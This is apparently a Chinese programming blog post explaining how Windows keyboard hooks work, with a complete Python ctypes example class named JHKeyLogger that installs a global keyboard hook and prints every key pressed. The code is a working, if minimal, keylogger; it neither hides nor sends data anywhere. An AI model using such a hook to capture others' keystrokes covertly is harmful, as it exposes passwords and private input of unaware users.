• python 在windows下监听键盘按键


    python 在windows下监听键盘按键

    使用到的库

    • ctypes(通过ctypes来调用Win32API, 主要就是调用钩子函数)

    使用的Win32API

    • SetWindowsHookEx(), 将用户定义的钩子函数添加到钩子链中, 也就是我们的注册钩子函数
    • UnhookWindowsHookEx(), 卸载钩子函数
    • CallNextHookEx()在我们的钩子函数中必须调用, 这样才能让程序的传递消息

    在没有钩子函数的情况下windows程序运行机制

    • 键盘输入 --> 系统消息队列 --> 对应应用程序的消息队列 --> 将消息发送到对应的窗口中

    在有了钩子函数的情况下windows程序运行机制

    • 键盘输入 --> 系统消息队列 --> 对应应用程序消息队列 --> 将消息发送到钩子链中 --> 消息一一调用完毕所有的钩子函数(需要调用CallNextHookEx函数才能将消息传递下去) --> 将消息发送到对应的窗口中

    示例程序

    • 注意:
      • 在程序中, 我们通过CFUNCTYPE返回一个类对象, 通过该类对象可以实例化出我们需要的c类型的函数, 但是如果不将他放在全局的话则会失去效果, 因为在C语言中函数是全局的
    # -*- coding: utf-8 -*-
    import os
    import sys
    from ctypes import *
    from ctypes.wintypes import *
    
    
    """
    define constants
    """
    WH_KEYBOARD = 13
    WM_KEYDOWN = 0x0100
    CTRL_CODE = 162
    
    
    class JHKeyLogger(object):
    
        def __init__(self, user32, kernel32):
            """
            Description:
                Init the keylogger object, the property 'hook_' is the handle to control our hook function
            
            Args:
                @(dll)user32: just put windll.user32 here
                @(dll)kernel32: just put windll.kernel32 here
    
            Returns:
                None
            """
            self.user32_ = user32
            self.kernel32_ = kernel32
            self.hook_ = None
            
        def install_hookproc(self, hookproc):
            """
            Description:
                install hookproc function into message chain
    
            Args:
                @(c type function)hookproc: hookproc is the hook function to call
    
            Returns:
                @(bool):
                    if SetWindowHookExA() function works successfully, return True
                    else return False
            """
            self.hook_ = self.user32_.SetWindowsHookExA(
                                          WH_KEYBOARD,
                                          hookproc,
                                          self.kernel32_.GetModuleHandleW(None),
                                          0)
            if not self.hook_:
                return False
            return True
    
        def uninstall_hookproc(self):
            """
            Description:
                uninstall the hookproc function which means pick the hookproc pointer off the message chain
            Args:
                None
            Returns:
                None
            """
            if not self.hook_:
                return
            self.user32_.UnhookWindowsHookEx(self.hook_)
            self.hook_ = None
    
        def start(self):
            """
            Description:
                start logging, just get the message, the current thread will blocked by the GetMessageA() function
            
            Args:
                None
            Returns:
                None
            """
            msg = MSG()
            self.user32_.GetMessageA(msg, 0, 0, 0)
    
        def stop(self):
            self.uninstall_hookproc()
    
    
    def hookproc(nCode, wParam, lParam):
        """
        Description:
            An user-defined hook function
    
        Attention:
            here we use the global variable named 'g_keylogger'
        """
        if wParam != WM_KEYDOWN:
            return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
    
        pressed_key = chr(lParam[0])
        print pressed_key,
        # hit ctrl key to stop logging
        if CTRL_CODE == lParam[0]:
            g_keylogger.stop()
            sys.exit(-1)
        return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
    
    
    # Attention: pointer must be defined as a global variable
    cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    pointer = cfunctype(hookproc)
    
    g_keylogger = JHKeyLogger(windll.user32, windll.kernel32)
    
    def main():
        if g_keylogger.install_hookproc(pointer):
            print 'install keylogger successfully!'
        g_keylogger.start()
        print 'hit ctrl to stop'
        
    if __name__ == '__main__':
        main()
    
  • 相关阅读:
    CSS – rem, em, px
    CSS – Variables
    go等待子协程完成再结束
    go原生mysql链接
    [恢]hdu 2511
    linux中竖线'|',双竖线‘||’,&和&&的意思
    SSH隧道:端口转发功能详解
    shell脚本执行返回的状态码
    第1章 ssh命令和SSH服务详解
    shell脚本中各种括号的区别以及用法
  • 原文地址:https://www.cnblogs.com/megachen/p/9879224.html
Copyright © 2020-2023  润新知